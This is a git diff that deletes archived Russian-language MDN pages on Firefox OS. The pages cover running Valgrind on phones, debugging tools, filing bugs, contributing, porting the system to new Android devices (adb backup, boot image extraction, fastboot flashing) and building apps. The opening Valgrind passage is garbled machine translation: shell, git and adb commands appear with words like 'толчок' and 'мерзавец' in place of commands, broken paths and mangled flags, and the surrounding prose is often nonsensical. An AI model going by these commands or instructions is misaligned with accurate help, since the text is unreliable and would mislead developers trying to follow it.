Чтобы запустить Valgrind против Firefox OS на телефоне, требуется телефон с выше чем нормальные спецификации. Valgrind требует значительных ресурсов, и, как правило, вызывают из-за ошибок памяти на телефонах с чем-то меньшим, чем 1 Гб оперативной памяти. На момент написания (2015-06-10), Valgrind, как известно, работать с Firefox OS работает на Flame телефонов с 1 Гб или RAM и Nexus 5 телефонов с 2 Гб оперативной памяти. Она также должна работать на Geeksphone Keons и аналогичные спецификации телефонов. Посмотрите на телефон и устройство передачи данных для более подробной информации о доступных телефонов.

- -

Проблема номер один бежит из памяти. Если ядро ​​вашего телефона поддерживает пространство подкачки, ваша ситуация улучшается. Вы можете сказать, поддерживает ли ваш телефон пространство подкачки с помощью поиска файла / Proc / свопы - если он присутствует, вам повезло. Если да, то подготовить файл подкачки на хосте, переместите его в телефон, и включить его:

- -

дд, если = / DEV / нуль = swapfile800M бс = 1024 Количество = 781250
- mkswap swapfile800M
- GZIP --fast swapfile800M
- ADB толчок swapfile800M.gz / данные
- ADB оболочка GZIP -d /data/swapfile800M.gz
- ADB оболочки swapon / данные / swapfile800M

- -

ADB оболочки кота / Proc / свопы
- # Должен производить такую ​​строку:
- # / Данные / swapfile800M файл 781244 0 -2
- Если ваш телефон не имеет своп, могут возникнуть Nuwa-процессы, созданные будучи ООМ убитыми, и, следовательно, неполной или запутанным функциональность. Попробуйте использовать телефон по меньшей мере, 2 Гб оперативной памяти в этом случае. Пламя, по крайней мере, делает поддержку своп. Вы должны быть осторожны, какой раздел файл подкачки размещен на. Если вы ненароком положил ее на раздел Btrfs, вы будете получать жалобы по поводу дыр в файлы подкачки при попытке запустить swapon.

- -

Запуск Valgrind на FxOS телефоны
- Давайте посмотрим на процесс запуска Valgrind.

- -

составление

- -

Для создания Firefox OS с включенным Valgrind, добавьте следующую строку в файл в .userconfig.

- -

экспорт B2G_VALGRIND = 1
- экспорт DISABLE_JEMALLOC = 1
- Строительство отладки (B2G_DEBUG) также рекомендуется. Строительство без каких-либо оптимизаций (B2G_NOOPT) делает вещи работать почти unusably медленно, и не рекомендуется, за исключением тех случаев, когда считается, что оптимизация может быть запутывания ошибки.

- -

И добавьте следующие строки в конец Gonk-разностороннего / Default-геккона-конфигурации:

- -

ac_add_options --enable-оптимизируют = "- г -O2"
- ac_add_options --enable-Valgrind
- ac_add_options --disable-jemalloc
- ac_add_options --disable-песочницу
- Отключение песочницу, к сожалению, требуется, так как не делать это вызывает процессы, valgrind быть убитым механизмом песочнице.

- -

Бег

- -

Примечание: Запуск Valgrind на телефон Firefox OS будет сделано в контексте телефона, а не в операционной системе хоста. Это означает, что разработчики могут использовать любую платформу, которая ADB доступна и будет выполнять run-valgrind.sh скрипт для запуска Valgrind по телефону.
- Чтобы запустить Firefox OS под Valgrind, используйте run-valgrind.sh скрипт из каталога B2G. Этот скрипт выполняет следующие действия:

- -

Перемонтирует файловую систему телефона в виде R / W.
- Копии текущей отладки libxul.so с полными символов в телефон. Поскольку этот файл много сотен мегабайт, то этот шаг может занять около двух минут, чтобы закончить. Она должна быть переделана каждый раз, когда новая сборка производится. Чтобы запустить Valgrind без libxul этапе копирования, выполните следующую команду:
- run-valgrind.sh NOCOPY
- Перезагрузка телефона.
- Убивает процесс b2g, который запускается при включении телефона.
- Запускает свой собственный процесс b2g под Valgrind.
- Все выходные Valgrind будут записаны на стандартный вывод терминала исполняющего run-valgrind.sh сценарий. Это может быть либо прочитать в терминале или по трубопроводу в файл.

- -

run-valgrind.sh начинает Valgrind с соответствующим набором параметров командной строки. Если вы хотите передать в дополнительные параметры, которые переопределяют набор параметров по умолчанию, задайте их с помощью переменной среды extra_args:

- -

Extra_args = "- v" run-valgrind.sh NOCOPY
- Примечание: Так как run-valgrind.sh сценарий владеет ADB процесс, запущенный процесс b2g, убивая сценарий будет также убить B2G и Valgrind по телефону. Рекомендуется, чтобы телефон будет перезагружен после запуска VALGRIND сеанса, так как она может оставить вещи в странном состоянии.
- Debug информация для системных библиотек

- -

Чтобы получить хорошее качество трассировки стека для системных библиотек, вам нужно поместить их по телефону:

- -

(CD выход / целевого / продукта / пламя && ADB нажимные символы / SDCard / символы-для-Valgrind)
- run-valgrind.sh будет автоматически вызывать Valgrind для чтения объектов отладки в / SDCARD / символов-для-Valgrind. Если вы хотите, чтобы убедиться, что Valgrind читает их, начинают run-valgrind.sh с extra_args = "- V".

- -

Запуск Valgrind на Firefox OS Desktop
- Запуск Valgrind против Firefox OS Desktop работает точно так же, как работает это против настольного Firefox. Обратитесь к Debugging Mozilla с Valgrind страницы для получения дополнительной информации. Все соответствующие флаги сборки должны быть добавлены к mozconfig, и будут применяться все вопросы, специфичные для платформы на странице.

- -

Обратите внимание, что запуск Valgrind на рабочем столе в режиме ООП / процесс-за-вкладке потребует добавления следующий параметр, чтобы убедиться, что дочерние процессы также прослеживаются:

- -

--trace-дети = да
- Поддержание и обновление Firefox OS Valgrind
- В то время как патчи upstreamed, когда это применимо, Valgrind для Firefox OS поддерживается в раздвоенным хранилище, чтобы держать вещи в курсе, насколько это возможно в то же время имеем дело с расцентрировок OS сборки дерева и версии Firefox.

- -

Обновление VALGRIND Repos

- -

ПРЕДУПРЕЖДЕНИЕ: ОПЫТ GIT ТРЕБУЕТСЯ. Не пытайтесь обновить VALGRIND сделок РЕПО, если вы не знакомы с обработкой сложных операций Git. Любые обновления к GitHub репо будет отражать в git.mozilla.org, который затем будет запряженных разработчиков, использующих ГОЛОВУ РЭПО манифестов. В то время как поломка Valgrind не будет ломать строит на что-либо, что не включено Valgrind (например, автоматизация Buildbot), это будет очень раздражают разработчиков, которые пытаются использовать его.
- Основные Firefox OS, valgrind и VEX операции РЕПО находятся на

- -

http://github.com/mozilla-b2g/valgrind
- http://github.com/mozilla-b2g/vex
- Главный филиал является нетронутым версия ствола SVN каждого из этих репозиториях, а ветвь Firefox OS содержит Firefox OS специфичные патчи перебазировались на верхней части туловища.

- -

Примечание: ВСЕГДА ОБНОВЛЕНИЕ ОБА REPOS ОДНОВРЕМЕННО. В то время как они являются два отдельных операций РЕПО, VEX обычно подмодуль Valgrind, и глава Valgrind обычно указывает на голову VEX.
- Они копируются на git.mozilla.org домен для использования в B2G проявляется:

- -

http://git.mozilla.org/?p=b2g/valgrind.git;a=summary
- http://git.mozilla.org/?p=b2g/vex.git;a=summary
- Основные операции РЕПО сохраняются в синхронизации с VALGRIND СВН с ГИТ СВН. Для того, чтобы тянуть обновления к сделкам РЕПО, клонировать Valgrind и досадить сделок РЕПО с GitHub, а затем выполните следующую команду:
- мерзавец СВН -s Init [URL репо подрывная]
- Натяжение данные SVN будет занять несколько часов, но когда это будет сделано, ваше дерево должно быть синхронно с основным Valgrind SVN.
- Чтобы вытащить дальнейшие обновления, следующий набор команд используется:
- мерзавец мастер-выписка
- мерзавец СВН выборки
- мерзавец СВН перебазироваться
- мерзавец толчок [GitHub-дистанционное имя] мастер
- Git fxos Кассовые
- мерзавец мастер перебазироваться
- Существует хороший шанс, что будет конфликты патч во время этапа ветви Rebase Firefox OS. Если вы не можете работать вопрос вне, по электронной почте автор конфликтующих фиксации.
- После перебазирования, запустить полную Firefox OS построить с флагом B2G_VALGRIND, чтобы убедиться, что она по-прежнему строит. Наиболее распространенные необходимые исправления перечислены в сценарии раздела ниже.
- После того как вы перебазировались и испытанные сборку против дерева Firefox OS, вам придется заставить толкать ветку Firefox OS из-за изменения головы.
- мерзавец кнопка -f [-дистанционного имя GitHub] fxos
- Сборка, установка и запуск скриптов

- -

Есть несколько сценариев, которые являются либо частью ветви Valgrind Firefox OS или B2G репо, которые могут нуждаться в обновлении после извлечения репо.

- -

внешняя / Valgrind / android.mk

- -

Это сценарий Android система сборки. Чаще всего, это где изменения должны быть сделаны, из-файлы добавляются / удаляются из дерева Valgrind в. Использование ключей -j1 сборки, чтобы увидеть, какие цели не удается построить, и если он отсутствует файл или ссылки на несуществующий файл, обновить список файлов этого проекта.

- -

внешняя / Valgrind / valgrind.mk

- -

Этот документ содержит список пакетов, которые должны быть построены и добавлены к системе изображения FxOS, на который ссылается Gonk-разностороннего / b2g.mk. Это, как правило, не нуждается в обновления, как это редкий для Valgrind, чтобы добавить новые пакеты, но если они нужны, их здесь.

- -

run-valgrind.sh

- -
-

Сценарий для запуска Valgrind по телефону. Если есть новые аргументы командной строки, которые необходимы для запуска Valgrind по телефону, их здесь. Это также, где мы копируем библиотеку с отладочной к телефону, поэтому любая корректировка / изменение этого процесса должно произойти здесь.

-
diff --git a/files/ru/archive/b2g_os/debugging/index.html b/files/ru/archive/b2g_os/debugging/index.html deleted file mode 100644 index 058dbb5410..0000000000 --- a/files/ru/archive/b2g_os/debugging/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Debugging on Firefox OS -slug: Archive/B2G_OS/Debugging -tags: - - Debugging - - Firefox OS - - NeedsTranslation - - QA - - Testing - - TopicStub -translation_of: Archive/B2G_OS/Debugging ---- -
-

There are two main types of debugging you'll want to with Firefox OS: debugging apps, and debugging other aspects of the system. This section of the site provides articles covering the different tools at your disposal to debug your Firefox OS code.

-
- -

Debugging apps

- -

When debugging your web apps, the best tool at your disposal is Mozilla's powerful WebIDE, which allows you to run your apps directly on a real device or simulator, update any changes instantly, and debug them directly on the device using Mozilla's excellent developer tools. This should be your first choice, especially for app/Gaia debugging.

- -
-
Using WebIDE
-
The WebIDE a tool available in Firefox for Desktop, which provides a number of useful tools to help you test, deploy and debug HTML5 web apps on Firefox OS phones and the Firefox OS Simulator, directly from your browser.
-
Debugging out of memory errors on Firefox OS
-
This article describes how B2G's multiprocess architecture affects what the phone does when we run out of memory, and how to understand and debug OOM crashes.
-
- -

Debugging Gaia/B2G

- -

If you want to debug code from the Gaia apps suite or B2G itself, the following tools will be of use to you.

- -
-
Debugging using the desktop B2G client
-
You can use the dedicated B2G desktop application (and associated tools) to debug multiple aspects of B2G and Gaia.
-
Firefox OS crash reporting
-
This page details how to handle crash reporting on Firefox OS, including retrieving crash reports, and forcing crashes.
-
Debugging B2G using gdb
-
The popular gdb debugger can be used to debug Firefox OS and web apps running on a device, or on an emulator. This guide will show you how it's done.
-
Debugging B2G using Valgrind
-
Valgrind gives developers access to information about memory allocations, threads, and other information important to performance. This guide shows how to run Valgrind either on desktop B2G or select phone hardware.
-
Getting NSPR logs in B2G
-
You can use NSPR logs to record HTTP and other networking.
-
Debugging OpenGL
-
How to debug OpenGL code on Firefox OS.
-
- -

General setup and information

- -

The following articles provide information on individual aspects of setup for Firefox OS development. The chances are that you won't need these, especially if you are just debugging apps using the App Manager. But we have made them available here in case you do.

- -
-
Developer settings for Firefox OS
-
There are a number of settings options available for developers on Firefox OS. This guide explains what they do and how to take advantage of them.
-
Installing and using ADB
-
Many aspects of Firefox OS development require installation of adb, the Android Debug Bridge. This article explains how to do that, and shares some common useful ADB commands.
-
On-device console logging
-
How to log to console on a Firefox OS device, and how to access the resulting logs for review on your computer.
-
Connecting a Firefox OS device to the desktop
-
This short guide explains how to set up your Firefox OS device and your desktop so that the desktop can communicate with the device over USB.
-
Setting up to debug Firefox OS code
-
Before you can begin using most of the tools integrated into Firefox for debugging code running under Firefox OS, you need to do a little configuration work. This article explains what you need to do.
-
diff --git a/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html b/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html deleted file mode 100644 index f391a0ddcc..0000000000 --- a/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Отправка найденных ошибок в Firefox OS -slug: Archive/B2G_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS -translation_of: Archive/B2G_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS ---- -
-

Эта статья содержит руководство по оформлению ошибок в Firefox OS, включая Gaia и B2G.

-
- -

Bugzilla

- -

Как и в большинстве проектов Mozilla, мы используем Bugzilla для отслеживанию ошибок и проблем. Вы можете опубликовать ошибку в bugzilla, при её обнаружении можете использовать отдельный продукт для Firefox OS, который содержит компоненты, включающие Gaia, Gonk и Gecko. Вы должны использовать его, чтобы подать ошибку в Firefox OS, Gaia, и др.

- -

Отправка ошибок

- -

Чтобы подать правильно обнаруженную ошибку используйте Bugzilla шаблон и следуйте инструкциям ниже, чтобы заполнить шабло

- -

Обязательные и не обязательные поля

- -

При подаче новой ошибки эти поля являются обязательными для заполнения:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FieldОписание
ComponentВыберите категорию ошибки к которой он принадлежит. Если Вы не понимаете, в какую категорию его нужно занести, Вы можете выбрать "Общие".
SummaryКратко опишите найденную ошибку.
DescriptionОпишите ситуацию ясно. Ошибка должна содержать действия по воспроизведению (STR), ожидаемые результаты и фактические результаты. Просим также указать частоту воспроизведения (то есть, сколько раз ошибка появляется, если вы повторите шаги снова и снова).
Build InformationПерейдите в раздел "Настройки"> "Информация об устройстве"> "Дополнительная информация" и выберите следующее: OS Version, Build Number, Platform Version, Build Identifier, Update Channel and Git Commit Info. (Если у вас есть компьютер Mac / Linux с установленными АБР и Git, вы можете запустить этот скрипт и вставить отчет в ошибку.)
ScreenshotsПожалуйста, приложите скриншот, который может помочь нам понять ошибку. (На Flame устройстве, нажмите и удерживайте кнопку питания и нижнюю качельку громкости в течение 2 секунд пока на телефоне не появится уведомление о скриншоте. Затем перенесите скриншот в компьютер через USB.)
VideoЕсли Вашу ошибку  трудно отобразить с помощью скриншота,то пожалуйста снимите её на видео. Вы можете загрузить видео как файл в качестве приложения к ошибке. Вы также можете загрузить видео на YouTube и вставить ссылку на него.
ADB logsЕсли у Вас на компьютере установлен ADB, то подключите к компьютеру телефон и выполните команду | ADB LogCat |. Пожалуйста, вставте отчет этой команды в текстовый файл и приложите его к ошибке.
- -

Следующие поля являются необязательными:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FieldОписание
Depends/BlockОписать зависимость между ошибками.
KeywordsКлючевые слова для Bugzilla. Они будут использованы для отслеживания.
WhiteboardКлючевые теги. Добавьте любой тег к ошибке для отслеживания. Вы не должны удалять другие теги без разрешения.
See AlsoИногда, две ошибки связаны между собой и вы можете указать это здесь.
FlagsФлаги для отслеживания статуса ошибки; наиболее часто используемый флаг в Firefox OS "blocking-b2g". Если ошибка устанавливается с флагом "blocking-b2g" это означает, что мы должны обращать больше внимания на эту ошибку, так как она угрожает заблокировать выпуск обновления.
SecurityЕсли ошибка связана с безопасностью персональных данных, денежными средствами и другими подобными вопросами, вы должны указать это, и ошибка будет видна только специальной категории сотрудников.
- -

Чтобы найти более подробную информацию о bugzilla fields, Вы можете открыть Bugzilla Fields страницу на Bugzilla.

- -

Отправка ошибок локализации

- -

Когда Вы видите не переведенную строку, это может означать две вещи:

- - - -

Как подать локальные (l12y) ошибки

- -
    -
  1. In Firefox OS, go to Settings > Device Information > More Information and toggle on the Developer Menu.
  2. -
  3. Go to Settings > Developer and turn on Pseudo-localization.
  4. -
  5. Go to Settings > Language and scroll to the bottom to select accented English.
  6. -
  7. Go back and look at the untranslated string. If it appears in normal English and not accented English, it is most probably because of a localizability (l12y) issue.
  8. -
  9. In Bugzilla, file a bug under the product 'Firefox OS'. Select the component under which the untranslated string appears. Add 'l12y' in the Keyword field.
  10. -
  11. Please fill out all the other mandatory fields.
  12. -
- -

Common keywords

- -

The following table provide information on common keywords you'll see used in Firefox OS bugs.

- -


- You should always indicate the build/OS/platform(s) used to verify the bug in the bug comments, before you change the Status to Verified. If the bug is reported on all three platforms and you only have one platform to verify the fix on, go ahead and do so and note it in the bug, but do not mark the bug as Verified. All platforms must be checked before moving Status to Verified.
-
- Finally, if other bugs have been marked as a duplicate of the bug you're verifying, be sure to check and mention those as well. Often developers mark related — but not identical — bugs as duplicates, and these can be overlooked if not checked.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
KeywordDescription
metaIndicates that the bug is a status tracking bug. Mozilla uses this tag to tracking multiple bug or user story implementation statuses. Once marked like this, developers should not land patches on top of such bugs. Please be reminded that project managers and QA staff will use meta bugs for tracking.
qablockerUse this keyword for bugs that are blocking testing (manual or automated testing of a feature) and need to be fixed by the next Beta or RC milestone.
qawantedUse this keyword for bugs that need more info, require reproducing or testcasing, or are duplicates (but you can't find the original bug being duplicated). Required QA work progress is recorded in the whiteboard; you should remove this keyword when the required QA work has been completed.
regressionThis keyword means that the problem was fixed, but then it came back (regressed) and the bug in question is a new bug, filed to track the regression. It can also refer to problems outside those identified in pre-check in and smoke tests, which were found in current builds and that were known to be working in previous builds. Tracking these bugs helps us to identify areas that are fragile, prone to breakage and are good candidates for adding to smoke and pre-check in tests.
regressionwindow-wantedIndicates that the bug is a regression, and would strongly benefit from someone identifying the time period in which it happened, ideally to a specific check in.
steps-wantedHighlights a bug that would greatly benefit from someone identifying the steps to reproduce it.
verifymeMeans that this bug is ok to verify with the latest FX OS build by someone other than the QA Contact indicated. The bug has specific machine configuration details indicated for verifying the fix. You should try to reproduce the failure, and, if you agree that the resolution of Fixed is correct, mark the Status as Verified.
-  
crashAdd this keyword if you encounter a crash in FX OS.
- -
-

Note: You can additionally refer to Bug writing guidelines. The Mozilla B2G QA Wiki page also has some useful resources on handling Firefox OS bugs; the most useful pages are Bugzilla Usage and Incoming bug triage for Firefox OS.

-
- -
-

Note: For more information on handling bugs during Gaia development, read Submitting a Gaia patch.

-
- -

 

diff --git a/files/ru/archive/b2g_os/developing_firefox_os/index.html b/files/ru/archive/b2g_os/developing_firefox_os/index.html deleted file mode 100644 index 7ada1a218d..0000000000 --- a/files/ru/archive/b2g_os/developing_firefox_os/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Разработка Firefox OS -slug: Archive/B2G_OS/Developing_Firefox_OS -tags: - - Developing - - Firefox OS - - NeedsTranslation - - TopicStub -translation_of: Archive/B2G_OS/Developing_Firefox_OS ---- -
-

Этот раздел содержит полезную документацию, охватывающую различные способы, в которых Firefox OS (кодовое имя Boot2Gecko или B2G) могут быть изменены/настроить в процессе сборки, и как вы можете помочь в разработке низкоуровневых частей платформы, такие как Gecko и Gonk.

-
- -
-

Note: Если вы хотите помочь в разработке Gaia, пользовательского интерфейса Firefox OS, вам следует поситить страницу Разрабока Gaia.

-
- -

General contribution notes

- -

Since Gecko is an integral part of the Firefox browser, contributing to Firefox OS-related parts of Gecko is a pretty similar process to Gecko in general; contributing to Gonk is also pretty similar. Basically, you need to get to know the community, learn how the codebase works, and find bugs to work on. A good place to start earning about the contribution process is Contributing to the Mozilla codebase.

- -

You should learn about Gecko — how it works and how it is structured. The MDN Gecko homepage has some useful notes on this, as does the Gecko:Overview page on the Mozilla Wiki. For information on (Firefox OS-specific) APIs, see the WebAPI Mozilla Wiki page for an overview of the work, and the MDN WebAPI page for an index of all documented APIs.

- -

Next, look at Gonk, the kernel that Firefox OS runs on top of. Gonk is basically another porting target for Gecko, just like Mac OS X, Windows and Linux are in the case of Desktop Firefox versions. Gonk itself is really just a stripped down version of the Android Open Source Project — we tend not to change much of Gonk itself since most of the source code isn't under our control, and the device partners we work with to create Firefox OS devices usually provide device-specific code to interface between the device and Gecko/Gonk.

- -

There is still work to be done on APIs, however. Most Gonk-specific Gecko code either uses #ifdef MOZ_WIDGET_GONK to only enable it in Firefox OS, and/or are contained in gonk subdirectories, such as gecko-dev/hal/gonk. Try cloning the gecko-dev repo locally and having a look around. Our Mozilla Source Code Directory Structure article is also useful.

- -

Next, you should learn more about Firefox OS architecture, how to Build Firefox OS (start with the Firefox OS build process summary), and how to Port Firefox OS to other devices.

- -

Firefox OS is developed as a series of separate Modules: review the Firefox OS Modules page to get an idea of how the codebase is grouped, and learn who the main module owners are so you can get an idea of who to talk to if you need help.

- -
-

Note: To find help, the best places to start are the dev-b2g mailing list, and the #b2g chatroom on Mozilla IRC.

-
- -

Specific Firefox OS development topics

- -
-
Filing bugs against Firefox OS
-
This article provides a guide to filing bugs against any aspect of Firefox OS.
-
Modifying the hosts file
-
A guide to what can be achieved by modifying the Firefox OS hosts file.
-
Customization with the .userconfig file
-
How to customize the build and execution of Firefox OS by changing the .userconfig file.
-
Customizing the b2g.sh script
-
An explanation of what can be achieved by customizing the b2g.sh script, which runs the b2g application and controls many aspects of the system.
-
Porting Firefox OS
-
Information about how to port Firefox OS to new devices.
-
diff --git "a/files/ru/archive/b2g_os/developing_firefox_os/\320\277\320\276\321\200\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" "b/files/ru/archive/b2g_os/developing_firefox_os/\320\277\320\276\321\200\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" deleted file mode 100644 index 7fb97b4e08..0000000000 --- "a/files/ru/archive/b2g_os/developing_firefox_os/\320\277\320\276\321\200\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Портирование Firefox OS -slug: Archive/B2G_OS/Developing_Firefox_OS/Портирование -translation_of: Archive/B2G_OS/Porting_B2G_OS/basics ---- -
-

Firefox OS (также Boot to Gecko) использует ядро выделенное из Android с пользовательским интерфейсом, основанным на Gecko, поверх него. Данная статья является руководством по портированию ОС на новые устройства.

-
- -

Данное руководство предполагает, что вы портируете на Android устройство; если вы портируйте на другое устройство, работа будет сложнее.

- -

Подготовка системы сборки

- -

Первым делом необходимо настроить систему сборки; как это сделать написано в этом руководстве Firefox OS build prerequisites.

- -

Создание резервной копии существующей системы Android

- -

Далее вы должны сделать резервную копию вашего Android устройства, прежде чем информация удалится тестовыми сборками B2G. Кроме того, некоторые части оригинальной системы потребуются в процессе сборки и установки. При выборе имени идентификатора устройства (device id name) мы рекомендуем использовать '_' вместо '-'.

- -
mkdir my_device_backup
-cd my_device_backup
-adb pull /system system
- -

Клонирование B2G репозитария

- -

Первым делом необходимо склонировать репозитарии B2G, а так же хранилище манифестов.

- -
git clone https://github.com/mozilla-b2g/B2G.git
-git clone https://github.com/mozilla-b2g/b2g-manifest.git
- -

Добавление нового устройства в config.sh

- -

Далее нужно добавить новое устройство в config.sh в репозитарии B2G. Вы можете воспользоваться существующими в качестве шаблона. В основном это сводится к обеспечению инструкций для выборки правильных файлов для сборки. (This basically involves providing the instructions for fetching the correct files to do the build.)

- -

Создание манифеста для нового устройства

- -

Вам необходимо добавить файл манифеста для нового устройства. Опирайтесь на существующий в качестве шаблона. Вы можете использовать hamachi в качестве справки. Когда закончите, можете добавить и прикоммитить ваш новый манифест к вашему локальному b2g-manifest репозитарию.

- -
git add my-new-device.xml
-git commit
-
- -

Затем вам понадобится файл config.sh чтобы использовать ваш локальный b2g-manifest репозитарий вместо оффициального. Чтобы это сделать укажите путь к вашему локальному хранилищу и соответствующую ветку в переменных GITREPO и BRANCH в файле config.sh, например:

- -
GITREPO=${GITREPO:-"file:///home/yourname/b2g-manifest"}
-BRANCH=${BRANCH:-master}
- -

Создание дерева конфигурации нового устройства

- -

Создание нового дерева конфигурации для нового устройства. Оно должно находится в дирректории device/<manufacturer>/<device_id>. И включать в себя как минимум:

- - - -

Содержимое списока может сильно меняться от устроства к устроству. В частности BoardConfig.mk и extract-files.sh могут существенно отличаться. Эта часть требует много усилий по аддаптации, тестированию и дебагу, чтобы выяснить какие бинарные части (binary blobs) необходимо извлечь. Чтобы получить более полное представление о том что должно находится здесь, взгляните на конфигурацию устройства hamachi. Не забывайте составлять вашу конфигурацию в соотвествии с манифестом устройства, который вы создали.

- -
-

Note: Если вам удастся найти справку по CyanogenMod для вашего устройства, это ускорит процесс портирования. Форум XDA также хорошее место для обсуждения и поиска ресурсов.

-
- -

Пересборка boot.img

- -

После того как все сделано вам потребуется пересобрать загрузочный образ. Как правило это нужно не для самого ядра, а для принятия правок в init.rc.

- -

Изменения в init.rc

- -

init.rc который вы используйте не поставляется с B2G, поэтому вам следует извлечь его из устройства.

- -

Основные вещи которые вам нужно исправить:

- -

Импорт init.b2g.rc

- -

Добавьте следующий код, чтобы импортировать init.b2g.rc:

- -
on early-init
-    start ueventd
-    import /init.b2g.rc
- -

Исправление прав доступа

- -

Исправьте права доступа к файлам /system/b2g/b2g, /system/b2g/updater, /system/b2g/plugin-container; это должно быть сделано после строк, которые монтируют файловую систему в режим read/write:

- -
chmod 0755 /system/b2g/b2g
-chmod 0755 /system/b2g/updater
-chmod 0755 /system/b2g/plugin-container
- -

Вы можете начать с правки init.rc, извлеченного из устройства, вместо использования init.rc включенного в систему сборки. Если так, важно не забыть задать TARGET_PROVIDES_INIT_RC в BoardConfig.mk.

- -

Пре-собранное ядро vs. сборка ядра из исходников

- -

Вы можете воспользоваться пре-собранным ядром или собрать ядро из исходников. Чтобы собрать ядро из исходников добавьте AndroidKernel.mk и конфиг ядра в дерево конфигурации.

- -

В качестве примера использующего сборку ядра из исходников сотри maguro из старой системы сборки.

- -

Извлечение и правка существующего загрузочного образа

- -

Существует возможность восстановить загрузочный образ телефона сделав дамп содержимого устройств /dev/mtd/mtd1 или /dev/mtd/mtd2, полученный файл образа может быть легко восстановлен:

- -
adb shell 'cat /dev/mtd/mtd1 > /sdcard/boot.img'
-adb pull /sdcard/boot.img
-
- -

После извлечения файл загрузочного образа можно распаковать вспомогательной утилитой unmkbootimg. Утилита извлечет образ ядра (zImage) и ramdisk (initramfs.cpio.gz), а также распечатает команды пересобирающие образ с теми же параметрами, что и оригинальный, например:

- -
$ unmkbootimg boot.img
-Kernel size 3872576
-Kernel address 0x208000
-Ramdisk size 265102
-Ramdisk address 0x1500000
-Secondary size 0
-Secondary address 0x1100000
-Kernel tags address 0x200100
-Flash page size 2048
-Board name is ""
-Command line "androidboot.hardware=aphone"
-Extracting kernel to file zImage ...
-Extracting root filesystem to file initramfs.cpio.gz ...
-All done.
----------------
-To recompile this image, use:
-  mkbootimg --kernel zImage --ramdisk initramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o new_boot.img
----------------
-
- -

Чтобы модифицировать файл виртуального диска, создайте директорию и распакуйте его туда:

- -
mkdir initramfs_dir
-cd initramfs_dir
-gunzip -c ../initramfs.cpio.gz | cpio -i
-
- -

Сделайте все необходимые изменения (например в init.rc) и перепакуйте виртуальный диск используя mkbootfs, убедитесь, что используйте версию собранную с хост утилитами B2G:

- -
/path/to/your/B2G/out/host/linux-x86/bin/mkbootfs . | gzip > ../newinitramfs.cpio.gz
-
- -

В завершении вернитесь в корнево каталог и перепакуйте загрузочный образ используя mkbootimg, также убедитесь, что используйте версию собранную с хост утилитами B2G:

- -
/path/to/your/B2G/out/host/linux-x86/bin/mkbootimg --kernel zImage --ramdisk newinitramfs.cpio.gz --base 0x200000 --cmdline 'androidboot.hardware=aphone' -o newboot.img
-
- -

Теперь, если скопировать новый загрузочный образ в out/target/product/$DEVICE/boot.img (где $DEVICE имя вашего устройства) он автоматический прошиваться при выполнении flash.sh. Вы также можете прошить образ вручную, используя следующие команды:

- -
adb reboot bootloader
-fastboot flash boot newboot.img
-fastboot reboot
-
- -

Добавление нового устройства в flash.sh

- -

Добавление нового устройства в flash.sh; специфика того как это сделать зависит от того какие утилиты должны быть использованы для прошивки нового устройства.

- -

Конфигурация, сборка, и прошивка нового устройства

- -

Теперь вы можете попробовать собрать прошивку и прошить ваше новое устройство:

- -
ANDROIDFS_DIR=my_device_backup ./config.sh <device_id> '../b2g-manifest/default.xml'
-./build.sh
-./flash.sh
- -

Тест и дебаг

- -

We need some details added here; indeed, this entire article could use some help.

- -

FAQ

- -

Forthcoming

- -

See also

- - diff --git a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html b/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html deleted file mode 100644 index 7bc6b8b659..0000000000 --- a/files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html +++ /dev/null @@ -1,353 +0,0 @@ ---- -title: Building apps for Firefox OS -slug: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS -tags: - - Firefox OS - - Installation - - Layout - - Manifest - - NeedsTranslation - - TopicStub - - distribution - - packaging -translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS ---- - - -
-

Firefox OS apps are essentially no different to standard websites or web apps. They are built using standard open web technologies — HTML, CSS, JavaScript, etc. — and can be accessed using a web browser. The main differences lie in their ability to be installed on devices and work offline, access to advanced APIs that allow interaction with device features such as camera, gyroscope and address book, and the existence of a solid developer ecosystem — including a Marketplace for distribution of free and paid apps. Generally, they provide users with an "app experience", while still being based on open, cross platform technologies.

-
- -

Firefox OS apps have a low barrier for entry, especially for existing web developers and mobile developers; they are also a lot more portable across platforms than native equivalents, and not locked into walled gardens. As we've already mentioned Firefox OS apps are based on web technologies — HTML, CSS, and JavaScript — so if you've written a web page you already know the basics. Even if you don't have the basics you'll be able to easily follow this guide, but you may want to check out our list of Beginner's tutorials to learn more about developing with open web technologies.

- -

This section of MDN provides a detailed reference on web app development topics specific to creating apps that are installable on Firefox OS (and other Firefox-supported platforms like Android), including app manifests, writing install functionality, permissions for using device APIs, and more. It is targeted towards experienced developers that are just looking to create or port an existing app to Firefox OS.

- -
-

Note: There is also a very useful screencast series available, if you prefer watching videos — App Basics for Firefox OS.

-
- -
-

Note: If you are a complete beginner to web apps (perhaps you just know a bit of HTML/CSS/JS) and want a very simple guide to building up an app, check out our Firefox OS app beginners tutorial.

-
- -

Firefox OS

- -

Firefox OS (also referred to by its codename Boot to Gecko — or B2G) is Mozilla's open source mobile operating system. It's based on a Linux kernel, which boots into a Gecko-based runtime that lets users install and run open web apps, Gecko being the rendering engine that the Firefox browser uses to render and display web content.

- -

